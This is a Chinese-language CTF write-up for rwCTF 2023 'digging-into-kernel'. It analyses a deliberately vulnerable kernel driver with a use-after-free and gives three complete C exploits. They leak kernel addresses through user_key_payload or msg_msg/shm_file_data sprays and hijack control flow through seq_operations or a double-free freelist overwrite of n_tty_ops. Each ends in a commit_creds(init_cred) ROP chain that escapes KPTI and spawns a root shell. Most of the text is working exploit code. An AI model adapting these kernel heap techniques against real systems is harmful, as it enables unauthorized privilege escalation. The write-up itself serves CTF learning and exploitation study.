rwCTF 2023 digging-into-kernel

# 逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall rwmod_ioctl(int *a1, int a2, struct request *ubuf)
{
__int64 v5; // rdx
__int64 v7; // rbx
struct request req; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v9; // [rsp+18h] [rbp-18h]

v9 = __readgsqword(0x28u);
v5 = 0LL;
if ( ubuf )
{
if ( a2 == 0xC0DECAFE ) // to free a item
{
a1 = (int *)&req;
if ( !copy_from_user(&req, ubuf, 16LL) && req.idx <= 1u )// max idx is 1
{
a1 = (int *)buf[req.idx];
kfree(a1); // 大写的uaf
}
}
else if ( a2 == 0xDEADBEEF ) // alloc
{
a1 = (int *)&req;
if ( !copy_from_user(&req, ubuf, 16LL) )
{
v7 = (unsigned int)req.idx;
if ( req.idx <= 1u )
{
ubuf = (struct request *)3520;
buf[v7] = _kmalloc((unsigned int)req.size, 3520LL);// kalloc 大小可控
a1 = (int *)buf[req.idx];
if ( a1 )
{
ubuf = (struct request *)req.uptr;
if ( (unsigned int)req.size > 0x7FFFFFFFuLL )
BUG();
copy_from_user(a1, req.uptr, (unsigned int)req.size);// 申请后立刻写入
}
}
}
}
}
return _x86_return_thunk(a1, ubuf, v5);
}

uaf + 大小可控
不过注意 这里的 uaf 指的是

  1. 驱动申请一个 chunk
  2. 驱动释放这个 chunk
  3. 用户 syscall 申请到这个 chunk
  4. 驱动再次释放这个 chunk
  5. 用户通过另外的 syscall (或者按这题的重新申请) 写到这个 chunk

所以这里的数据写入不是传统的与驱动交互的写入 而是通过对已申请的 chunk 释放 让用户从系统调用或者重新申请实现 uaf 这个 uaf 的难度更高 而且写入的时候不能改到其他数据 或者说其他数据对控制流无影响 这对利用的结构体也有要求

第一眼想到 ldt_struct 泄漏 + seq_operations 劫持控制流 就可以秒 有点简单 所以多多尝试一下各种打法

另外需要注意一点的是 这里其实调用的 kmalloc 类型类似于 kzalloc

1
2
3
4
5
6
7
8
_kmalloc((unsigned int)req.size, 3520LL) // 1101 1100 0000

#define ___GFP_ZERO 0x100u

static inline void *kzalloc(size_t size, gfp_t flags)
{
return kmalloc(size, flags | __GFP_ZERO);
}

# 漏洞利用

# exp1 - user_key_payload + seq_operations

uaf 转换为地址泄漏 可以用 add_key

[[add_key]]

断点到 0xffffffff813d8190 user_preparse 看申请情况

用驱动申请两个 chunk 一个用来存放 revoked key 用于地址泄漏 一个用来 uaf 篡改 datalen 实现越界读到 revoked key
所以要保证 revoked key 在高地址处 也就是第二个 chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(int argc, char const *argv[])
{
save_state();
open_dev(devname, O_RDONLY);

xnew(0, OBJ_SIZE, buf); /* kmalloc-256 */
xnew(1, OBJ_SIZE, buf); /* for leak */

xfree(0);
int keyid1 = key_alloc("0d000721", buf, PAYLOAD_SIZE); /* occupy the free'd chunk */

xfree(1);
int keyid2 = key_alloc("07210d00", buf, PAYLOAD_SIZE); /* for leaking and must have diff name */

这里要确保 description 不一样 我也不知道为什么 一样就 crash 了 怀疑 key 被复用了
另外由于 key_alloc 中有四次对象分配 其中 payload 的两次 size 比较接近 (相差 0x18 可以构造大小让他们处于不同的 slab)

剩下就是释放掉第一个 user_key_payload 结构体所在的区域 然后立刻重新申请回来形成 uaf 从而改写掉他的 datalen
然后 revoke 掉第二个 user_key_payload 这样 rcu 就被赋值 从而得到堆地址和内核基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
xfree(0); /* free it again, now uaf */

struct user_key_payload *ukp = (struct user_key_payload *)buf;
bzero(&ukp->rcu, sizeof(ukp->rcu));
ukp->datalen = 0x1000;

/* use uaf write to falsify the datalen field for oobr */
xnew(0, OBJ_SIZE, buf); /* write to position where user_key_payload locate */

u8 leaked[0x1000];u64 *leakp = (u64 *)leaked;
bzero(leaked, 0x1000);

/* release key2 for addr leak */
key_revoke(keyid2);

/* oobr to leak associated data */
key_read(keyid1, leaked, 0x1000);
// show(leaked, 0x1000);

kheap = leakp[77] & 0xfffffffff0000000;
kbase = leakp[30] & 0xffffffff81000000;

ok("kbase at " ADDR, kbase);
ok("kheap at " ADDR, kheap);
add_kbase();

然后就是熟悉的喷 seq_operations 了 这个不赘述了

# exp

  • user_key_payload + uaf 泄漏内核基址
  • seq_operations 进行控制流劫持

当然我这里是一次就能申请到就没喷 正常情况下可能需要喷一下 key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#include "inc/common.h"
#include "inc/snippet.h"
// #include "inc/uffd.h"

#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include <sys/xattr.h>
#include <asm/ldt.h>
#include <sys/wait.h>
#include <sys/socket.h>

#define ADDR cRED "0x%lx" cRST
u64 kbase, kheap;

u64 pop_rdi = 0x006ab4d;
u64 ret = 0x006ab4e;
u64 init_cred = 0x1850580;
u64 commit_creds = 0x0095c30;
// u64 n_tty_read = 0;
u64 bypass_kpti = 0x0e00ed0 + 0x25; /* skip 6 regs */
// u64 add_rsp_0xb8_pop4_ret = 0; //add rsp, 0xb8; pop rbx; pop rbp; pop r12; pop r13; ret;
u64 add_rsp_0x170 = 0x09d9f4c;

i32 devfds[4] = {-1};

#define n_tty_ops_ofs 0x14b1160

typedef struct {
u32 idx;
u32 siz;
u8 *ptr;
} Req;

void xnew(u32 idx, u32 size, u8 *buf){
Req r = {
.idx = idx,
.siz = size,
.ptr = buf
};
if(ioctl(devfd, 0xDEADBEEF, &r) < 0) {}
}

int xfree(u32 idx){
Req r = {
.idx = idx
};
if(ioctl(devfd, 0xC0DECAFE, &r) < 0) {}
}

// sudo apt-get install libkeyutils-dev
#include <keyutils.h>

int key_alloc(char* description, char* payload, int plen) {
return syscall(
__NR_add_key,
"user",
description,
payload,
plen,
KEY_SPEC_PROCESS_KEYRING
);
}

int key_read(int key_id, char *buf, int len) {
return syscall(
__NR_keyctl,
KEYCTL_READ,
key_id,
buf,
len
);
}

int key_revoke(int key_id) {
return syscall(
__NR_keyctl,
KEYCTL_REVOKE,
key_id,
0,
0,
0
);
}

struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

struct user_key_payload {
struct callback_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[]; /* actual data */
};

const char *devname = "/dev/rwctf";
// #define devopen(__n) ({ \
// devfds[__n] = open(devname, O_RDONLY); \
// if (devfds[__n] == -1) panic("devfds[%d]", __n); \
// })

void add_kbase() {
assert_neq(kbase, 0);

pop_rdi += kbase;
init_cred += kbase;
commit_creds += kbase;
bypass_kpti += kbase;
add_rsp_0x170 += kbase;
ret += kbase;
}

void show(u8 *buf, u64 len) {
u64 *p = (u64 *)buf;

range(i, (len/8), {
if(p[i])
ok(ADDR " in idx %d", p[i], i);
});
}

/* 1st payload temp obj alloc in kmalloc-192 */
/* 2nd payload persistent obj alloc in kmalloc-256 */
#define PAYLOAD_SIZE (192 + 8 - sizeof(struct callback_head))
#define OBJ_SIZE (PAYLOAD_SIZE + sizeof(struct callback_head))
u8 buf[0x100];
i32 seqfds[0x20];
u8 *tmp[0x10];
i32 seqfd = -1;
/*
1st alloc at 0xffff888003fafa00
2nd alloc at 0xffff888003fafb00

*/
int main(int argc, char const *argv[])
{
save_state();
open_dev(devname, O_RDONLY);

xnew(0, OBJ_SIZE, buf); /* kmalloc-256 */
xnew(1, OBJ_SIZE, buf); /* for leak */

xfree(0);
int keyid1 = key_alloc("0d000721", buf, PAYLOAD_SIZE); /* occupy the free'd chunk */

xfree(1);
int keyid2 = key_alloc("07210d00", buf, PAYLOAD_SIZE); /* for leaking and must have diff name */

xfree(0); /* free it again, now uaf */

struct user_key_payload *ukp = (struct user_key_payload *)buf;
bzero(&ukp->rcu, sizeof(ukp->rcu));
ukp->datalen = 0x1000;

/* use uaf write to falsify the datalen field for oobr */
xnew(0, OBJ_SIZE, buf); /* write to position where user_key_payload locate */

u8 leaked[0x1000];u64 *leakp = (u64 *)leaked;
bzero(leaked, 0x1000);

/* release key2 for addr leak */
key_revoke(keyid2);

/* oobr to leak associated data */
key_read(keyid1, leaked, 0x1000);
// show(leaked, 0x1000);

kheap = leakp[77] & 0xfffffffff0000000;
kbase = leakp[30] & 0xffffffffff000000;

ok("kbase at " ADDR, kbase);
ok("kheap at " ADDR, kheap);
add_kbase();

xnew(0, 0x20, buf); /* uaf for seq_ops */
xfree(0);

act("try to spray seq_operations");
range(i, 0x20, {
if((seqfds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
panic("seqfds[%d]", i);
});

xfree(0);
u64 seq_ops[4] = {add_rsp_0x170};
// range(i, 4, {buf[i] = add_rsp_0x170;});
xnew(0, 0x20, (u8 *)seq_ops); /* uaf write to seq_ops */

act("try to trigger seq_operations to hijack control flow");
// getchar();

range(i, 0x20, {

seqfd = seqfds[i];

asm volatile(
".intel_syntax noprefix;"
"mov r15, 0x0d000721;"
"mov r14, ret;"
"mov r13, pop_rdi;"
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, bypass_kpti;"
"mov r11, 0x0d000721;"
"mov r10, 0x0d000721;"
"mov r9, 0x0d000721;"
"mov r8, 0x0d000721;"
"mov rax, 0;"
"mov rcx, 0x0d000721;"
"mov rdx, 1;"
"mov rsi, tmp;"
"mov rdi, seqfd;"
"syscall;"
".att_syntax;"
);

if(getuid() == 0) {
ok("root now");
system("/bin/sh");
}else {
act("try again");
}
});

return 0;
}

# exp2 - double free aaw

  • user_key_payload + uaf 泄漏内核基址
  • df 劫持 freelist 构造 aaw 原语 再劫持 n_tty_ops

这里没有 slab_freelist_hardened 加上无限制的 free 直接劫持 freelist 写全局变量即可提权
[[double-free-and-restore-in-slub.png]]

modprobe 比较简单 这里劫持 n_tty_ops 顺便学习一下高版本的 freelist 的应对办法

double free
先 free 两次 这样 freelist->next = freelist

第一次申请 freelist = freelist->next 没变 next 改变了
第二次申请 freelist = freelist->next = target_addr 申请的内存和第一次一样
第三次申请 就到 target_addr 了 同时 freelist = target_addr->next 这里就要让 target_addr->next 为 0

另外这里的版本是 5.19.0 freelist 不放在开头了

slub.c - mm/slub.c - Linux source code (v5.19) - Bootlin

1
2
3
4
5
6
7
8
9
10
11
12
13
	} else {
/*
* Store freelist pointer near middle of object to keep
* it away from the edges of the object to avoid small
* sized over/underflows from neighboring allocations.
*/
s->offset = ALIGN_DOWN(s->object_size / 2, sizeof(void *));
}

#define ALIGN_DOWN(x, a) __ALIGN_KERNEL((x) - ((a) - 1), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))

看着很费劲 不如打印一下 一目了然

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ gcc -g -o test test.c; ./test
idx 8 => align 8
idx 9 => align 8
idx 10 => align 8
idx 11 => align 8
idx 12 => align 8
idx 13 => align 8
idx 14 => align 8
idx 15 => align 8
idx 16 => align 16
idx 17 => align 16
idx 18 => align 16
idx 19 => align 16
idx 20 => align 16
idx 21 => align 16
idx 22 => align 16
idx 23 => align 16
idx 24 => align 24
idx 25 => align 24
idx 26 => align 24
idx 27 => align 24
idx 28 => align 24
idx 29 => align 24
idx 30 => align 24
idx 31 => align 24
idx 32 => align 32

freelist 不是放在开头而是放在中间了 所以我们劫持 freelist 后要申请到 n_tty_ops 上方 然后让 freelist 落到 num 或者 align 的地方 这样才不会 crash 或者找个其他结构体先喷后还原 freelist

例如我这里所使用的 0x60 的结构体 用的是 kmalloc-96 s->object_size / 2 再与 8 向下对齐 0x30 也就是 offset 0x30 处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct fake_tty_ops {
u64 nokno1; <<- alloc at
u64 nokno2; /* offset 0x8 */
u64 nokno3;
u64 nokno4; /* offset 0x18 */
/* real tty ops */
u64 num;
u64 name; /* offset 0x28 */
u64 align; <<- freelist /* offset 0x30 */
u64 open;
u64 close;
u64 flush_buffer;
u64 read;
u64 write;
};

另外这里我们申请出来的页会被清空 最开始我没加 write 导致 write 被刷成 0 了 所以这里要最好确保 我们的对象和 slab->object_size 相等

另外一个注意点就是 劫持 n_tty_ops->read 从内核返回之后 rsp 为 0 此时禁止使用栈上变量!

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
#include "inc/common.h"
#include "inc/snippet.h"
// #include "inc/uffd.h"

#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include <sys/xattr.h>
#include <asm/ldt.h>
#include <sys/wait.h>
#include <sys/socket.h>

#define ADDR cRED "0x%lx" cRST
u64 kbase, kheap;

u64 pop_rdi = 0x006ab4d;
u64 ret = 0x006ab4e;
u64 init_cred = 0x1850580;
u64 commit_creds = 0x0095c30;
u64 bypass_kpti = 0x0e00ed0 + 0x29;
u64 add_rsp_0x1c8 = 0xbca893;

i32 devfds[4] = {-1};

u64 n_tty_open = 0x537bf0;
u64 n_tty_close = 0x537830;
u64 n_tty_flush_buffer = 0x538400;
u64 n_tty_read = 0x538580;
u64 n_tty_write = 0x537c90;

u64 n_tty_ops = 0x19c0598;
u64 n_tty_name = 0x15dd59d;


#define n_tty_ops_ofs 0x14b1160

typedef struct {
u32 idx;
u32 siz;
u8 *ptr;
} Req;

void xnew(u32 idx, u32 size, u8 *buf){
Req r = {
.idx = idx,
.siz = size,
.ptr = buf
};
if(ioctl(devfd, 0xDEADBEEF, &r) < 0) {}
}

int xfree(u32 idx){
Req r = {
.idx = idx
};
if(ioctl(devfd, 0xC0DECAFE, &r) < 0) {}
}

// sudo apt-get install libkeyutils-dev
#include <keyutils.h>

int key_alloc(char* description, char* payload, int plen) {
return syscall(
__NR_add_key,
"user",
description,
payload,
plen,
KEY_SPEC_PROCESS_KEYRING
);
}

int key_read(int key_id, char *buf, int len) {
return syscall(
__NR_keyctl,
KEYCTL_READ,
key_id,
buf,
len
);
}

int key_revoke(int key_id) {
return syscall(
__NR_keyctl,
KEYCTL_REVOKE,
key_id,
0,
0,
0
);
}

struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

struct user_key_payload {
struct callback_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[]; /* actual data */
};

const char *devname = "/dev/rwctf";
// #define devopen(__n) ({ \
// devfds[__n] = open(devname, O_RDONLY); \
// if (devfds[__n] == -1) panic("devfds[%d]", __n); \
// })

void add_kbase() {
assert_neq(kbase, 0);

pop_rdi += kbase;
init_cred += kbase;
commit_creds += kbase;
bypass_kpti += kbase;
ret += kbase;
add_rsp_0x1c8 += kbase;

n_tty_open += kbase;
n_tty_close += kbase;
n_tty_flush_buffer += kbase;
n_tty_read += kbase;
n_tty_write += kbase;
n_tty_ops += kbase;
n_tty_name += kbase;
}

void show(u8 *buf, u64 len) {
u64 *p = (u64 *)buf;

range(i, (len/8), {
if(p[i])
ok(ADDR " in idx %d", p[i], i);
});
}

/* 1st payload temp obj alloc in kmalloc-192 */
/* 2nd payload persistent obj alloc in kmalloc-256 */
#define PAYLOAD_SIZE (192 + 8 - sizeof(struct callback_head))
#define OBJ_SIZE (PAYLOAD_SIZE + sizeof(struct callback_head))
u8 buf[0x100];
i32 seqfds[0x20];
u8 *tmp[0x10];
i32 seqfd = -1;
/*
1st alloc at 0xffff888003fafa00
2nd alloc at 0xffff888003fafb00

*/
void aaw(u64 addr, u8 *payload, u64 size/* by bytes */, u64 flidx) {

u8 tmp[0x100];
memcpy(tmp, payload, size);

act("aaw to " ADDR " with 0x%lx size", addr, size);
// getchar();
xnew(0, size, tmp);
xfree(0);
xfree(0);


*((u64 *)tmp + flidx) = addr;

xnew(0, size, tmp); /* freelist still point to chunk */
xnew(0, size, tmp); /* freelist point to addr now */
xnew(0, size, payload); /* alloc at addr with value content of buf */
}

struct fake_tty_ops gfops;

struct fake_tty_ops {
u64 nokno1;
u64 nokno2;
u64 nokno3;
u64 nokno4;
/* real tty ops */
u64 num;
u64 name;
u64 align;
u64 open;
u64 close;
u64 flush_buffer;
u64 read;
u64 write;
};


int main(int argc, char const *argv[])
{
save_state();
open_dev(devname, O_RDONLY);

xnew(0, OBJ_SIZE, buf); /* kmalloc-256 */
xnew(1, OBJ_SIZE, buf); /* for leak */

xfree(0);
int keyid1 = key_alloc("0d000721", buf, PAYLOAD_SIZE); /* occupy the free'd chunk */

xfree(1);
int keyid2 = key_alloc("07210d00", buf, PAYLOAD_SIZE); /* for leaking and must have diff name */

xfree(0); /* free it again, now uaf */

struct user_key_payload *ukp = (struct user_key_payload *)buf;
bzero(&ukp->rcu, sizeof(ukp->rcu));
ukp->datalen = 0x1000;

/* use uaf write to falsify the datalen field for oobr */
xnew(0, OBJ_SIZE, buf); /* write to position where user_key_payload locate */

u8 leaked[0x1000];u64 *leakp = (u64 *)leaked;
bzero(leaked, 0x1000);

/* release key2 for addr leak */
key_revoke(keyid2);

/* oobr to leak associated data */
key_read(keyid1, leaked, 0x1000);
// show(leaked, 0x1000);
ok("leak heap at " ADDR, leakp[77]);
ok("leak base at " ADDR, leakp[30]);
kheap = leakp[77] & 0xfffffffff0000000;
kbase = leakp[30] - 0xffffffff813d8210 + 0xffffffff81000000;

ok("kbase at " ADDR, kbase);
ok("kheap at " ADDR, kheap);
add_kbase();

struct fake_tty_ops fops = {
.num = 0,
.name = n_tty_name,
.align = 0,
.open = n_tty_open,
.close = n_tty_close,
.flush_buffer = n_tty_flush_buffer,
.read = add_rsp_0x1c8,
.write = n_tty_write
};

/* avoid use fops which in stack when hijack control flow return from kernel bcoz corruped rbp */
memcpy((u8 *)&gfops, (const u8 *)&fops, sizeof(fops));

aaw(n_tty_ops - 0x20, (u8 *)&fops, sizeof(fops), 6);// kmalloc-0x60

act("try to trigger n_tty_read");
fflush(stdout);

asm volatile(
".intel_syntax noprefix;"
"mov r15, 0x0d000721;"
"mov r14, ret;"
"mov r13, pop_rdi;"
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, pop_rdi;"
"mov r11, 0x0d000721;"
"mov r10, bypass_kpti;"
"mov r9, 0x0d000721;"
"mov r8, 0x0d000721;"
"mov rax, 0;"
"mov rcx, 0x0d000721;"
"mov rdx, 1;"
"mov rsi, tmp;"
"mov rdi, 0;"
"syscall;"
".att_syntax;"
);


// WARN: Can't use fops on the stack bcoz the rbp register has been corrupted by us
if(getuid() == 0) {
gfops.read = n_tty_read;
aaw(n_tty_ops - 0x20, (u8 *)&gfops, sizeof(gfops), 6);/* restore it */
ok("root now");

system("/bin/sh");
}else {
panic("escalation failed");
}

return 0;
}

# exp3 - msg_msg + shm_file_data

用 msg_seq 占住我们刚刚释放的 0x20 然后立马给它 free 了 这样就能用 shm_file_data 给它喷上了(seq_operations 也行不过不能泄露 dma 地址 虽然也不需要 dma 啦) 然后 msgrcv 读出来 注意字节要恰当 不要走到下一个 next 去了

劫持控制流还是 modprobe/n_tty_ops

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
#include "inc/common.h"
#include "inc/snippet.h"
// #include "inc/uffd.h"

#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include <sys/xattr.h>
#include <asm/ldt.h>
#include <sys/wait.h>
#include <sys/socket.h>

#include<malloc.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define ADDR cRED "0x%lx" cRST
u64 kbase, kdma;

u64 pop_rdi = 0x006ab4d;
u64 ret = 0x006ab4e;
u64 init_cred = 0x1850580;
u64 commit_creds = 0x0095c30;
u64 bypass_kpti = 0x0e00ed0 + 0x29;
u64 add_rsp_0x1c8 = 0xbca893;

i32 devfds[4] = {-1};

u64 n_tty_open = 0x537bf0;
u64 n_tty_close = 0x537830;
u64 n_tty_flush_buffer = 0x538400;
u64 n_tty_read = 0x538580;
u64 n_tty_write = 0x537c90;

u64 n_tty_ops = 0x19c0598;
u64 n_tty_name = 0x15dd59d;


#define n_tty_ops_ofs 0x14b1160

typedef struct {
u32 idx;
u32 siz;
u8 *ptr;
} Req;

void xnew(u32 idx, u32 size, u8 *buf){
Req r = {
.idx = idx,
.siz = size,
.ptr = buf
};
if(ioctl(devfd, 0xDEADBEEF, &r) < 0) {}
}

int xfree(u32 idx){
Req r = {
.idx = idx
};
if(ioctl(devfd, 0xC0DECAFE, &r) < 0) {}
}

typedef struct {
long mtype;
char mtext[1];
} user_msg;


int xmsgget(key_t key, int msgflg) {
int msqid;
if((msqid = msgget(key, msgflg)) == -1)
panic("msgget");
return msqid;
}

void xmsgsnd(int msqid, void *msgp, size_t msgsz, int msgflg) {
if(msgsnd(msqid, msgp, msgsz, msgflg) == -1)
panic("msgsnd");
}
/*
- If msgtyp is 0, then the first message in the queue is read.
- If msgtyp is greater than 0, then the first message in the queue of type msgtyp is read, unless MSG_EXCEPT was
specified in msgflg, in which case the first message in the queue of type not equal to msgtyp will be read.
- If msgtyp is less than 0, then the first message in the queue with the lowest type less than or equal to the
absolute value of msgtyp will be read.

IPC_NOWAIT
Return immediately if no message of the requested type is in the queue. The system call fails with errno
set to ENOMSG.

MSG_NOERROR
To truncate the message text if longer than msgsz bytes.
*/
ssize_t xmsgrcv(int msqid,void *msgp,size_t msgsz,long msgtyp,int msgflg) {
ssize_t result;
if(result = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0)
panic("msgrcv");
return result;
}

void xmsgctl(int msqid,int cmd,struct msqid_ds *buf) {
if ((msgctl(msqid, cmd, buf)) == -1)
panic("Msgctl");
}

const char *devname = "/dev/rwctf";

void add_kbase() {
assert_neq(kbase, 0);

pop_rdi += kbase;
init_cred += kbase;
commit_creds += kbase;
bypass_kpti += kbase;
ret += kbase;
add_rsp_0x1c8 += kbase;

n_tty_open += kbase;
n_tty_close += kbase;
n_tty_flush_buffer += kbase;
n_tty_read += kbase;
n_tty_write += kbase;
n_tty_ops += kbase;
n_tty_name += kbase;
}

void show(u8 *buf, u64 len) {
u64 *p = (u64 *)buf;

range(i, (len/8), {
if(p[i])
ok(ADDR " in idx %d", p[i], i);
});
}

/* 1st payload temp obj alloc in kmalloc-192 */
/* 2nd payload persistent obj alloc in kmalloc-256 */
u8 buf[0x100];
i32 seqfds[0x20];
u8 tmp[0x20];
i32 seqfd = -1;
/*
1st alloc at 0xffff888003fafa00
2nd alloc at 0xffff888003fafb00
*/
void aaw(u64 addr, u8 *payload, u64 size/* by bytes */, u64 flidx) {

u8 tmp[0x100];
memcpy(tmp, payload, size);

act("aaw to " ADDR " with 0x%lx size", addr, size);
// getchar();
xnew(0, size, tmp);
xfree(0);
xfree(0);


*((u64 *)tmp + flidx) = addr;

xnew(0, size, tmp); /* freelist still point to chunk */
xnew(0, size, tmp); /* freelist point to addr now */
xnew(0, size, payload); /* alloc at addr with value content of buf */
}

struct fake_tty_ops gfops;

struct fake_tty_ops {
u64 nokno1;
u64 nokno2;
u64 nokno3;
u64 nokno4;
/* real tty ops */
u64 num;
u64 name;
u64 align;
u64 open;
u64 close;
u64 flush_buffer;
u64 read;
u64 write;
};

void spray_shm_file_data() {

act("try to spray `shm_file_data` struct for leaving dirty data in kmalloc-32");

range(_, 0x30, {

int shm_id = shmget(0721, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
panic("shmget!");

u8 *shm_addr = (u8 *)shmat(shm_id, NULL, 0);
if (shm_addr < 0)
panic("shmat!");

});

}


int main(int argc, char const *argv[])
{
save_state();
open_dev(devname, O_RDONLY);

/* ---------------- leak info ---------------------- */
xnew(0, 0x20, tmp);
xfree(0);

/* prepare msg struct */
#define MSG_MSG_HEADER 0x30
#define MSG_MSG_BODY (0x1000 - MSG_MSG_HEADER)
#define MSG_SEG_HEADER 0x8
#define MSG_SEG_BODY (0x20 - MSG_SEG_HEADER)

#define MSG_ALL_BODY_SIZE ((MSG_MSG_BODY) + (MSG_SEG_BODY))

u8 __msg_buf[8 + MSG_ALL_BODY_SIZE];
user_msg *umsg = (user_msg *)__msg_buf;

umsg->mtype = 1;
memset(umsg->mtext, 'A', MSG_ALL_BODY_SIZE);

act("try to send msg");
int qid = xmsgget(IPC_PRIVATE, 0666 | IPC_CREAT);
xmsgsnd(qid, (void *)umsg, MSG_ALL_BODY_SIZE, 0);

xfree(0);/* free msg_msgseg */

spray_shm_file_data();

u8 leaked[MSG_ALL_BODY_SIZE];
xmsgrcv(
qid, /* msqid */
(void *)leaked, /* msgp */
MSG_ALL_BODY_SIZE, /* msgsz */
1, /* msgtyp */
IPC_NOWAIT | MSG_NOERROR /* msgflg */
);

// show(leaked, MSG_ALL_BODY_SIZE);
u64 *leakp = (u64 *)leaked;

// show(leaked, 0x1000);
ok("leak dma at " ADDR, leakp[508]);
ok("leak base at " ADDR, leakp[507]);
kdma = leakp[508] & 0xfffffffff0000000;
kbase = leakp[507] - 0xffffffff829ac6c0 + 0xffffffff81000000;

ok("kbase at " ADDR, kbase);
ok("kdma at " ADDR, kdma);
add_kbase();

/* ----------- hijack control flow --------------- */

struct fake_tty_ops fops = {
.num = 0,
.name = n_tty_name,
.align = 0,
.open = n_tty_open,
.close = n_tty_close,
.flush_buffer = n_tty_flush_buffer,
.read = add_rsp_0x1c8,
.write = n_tty_write
};

/* avoid use fops which in stack when hijack control flow return from kernel bcoz corruped rbp */
memcpy((u8 *)&gfops, (const u8 *)&fops, sizeof(fops));

aaw(n_tty_ops - 0x20, (u8 *)&fops, sizeof(fops), 6);// kmalloc-0x60

act("try to trigger n_tty_read");
fflush(stdout);

asm volatile(
".intel_syntax noprefix;"
"mov r15, 0x0d000721;"
"mov r14, ret;"
"mov r13, pop_rdi;"
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, pop_rdi;"
"mov r11, 0x0d000721;"
"mov r10, bypass_kpti;"
"mov r9, 0x0d000721;"
"mov r8, 0x0d000721;"
"mov rax, 0;"
"mov rcx, 0x0d000721;"
"mov rdx, 1;"
"mov rsi, tmp;"
"mov rdi, 0;"
"syscall;"
".att_syntax;"
);


// WARN: Can't use fops on the stack because the rbp register has been corrupted by us
if(getuid() == 0) {
gfops.read = n_tty_read;
aaw(n_tty_ops - 0x20, (u8 *)&gfops, sizeof(gfops), 6);/* restore it */
ok("root now");

system("/bin/sh");
}else {
panic("escalation failed");
}

return 0;
}

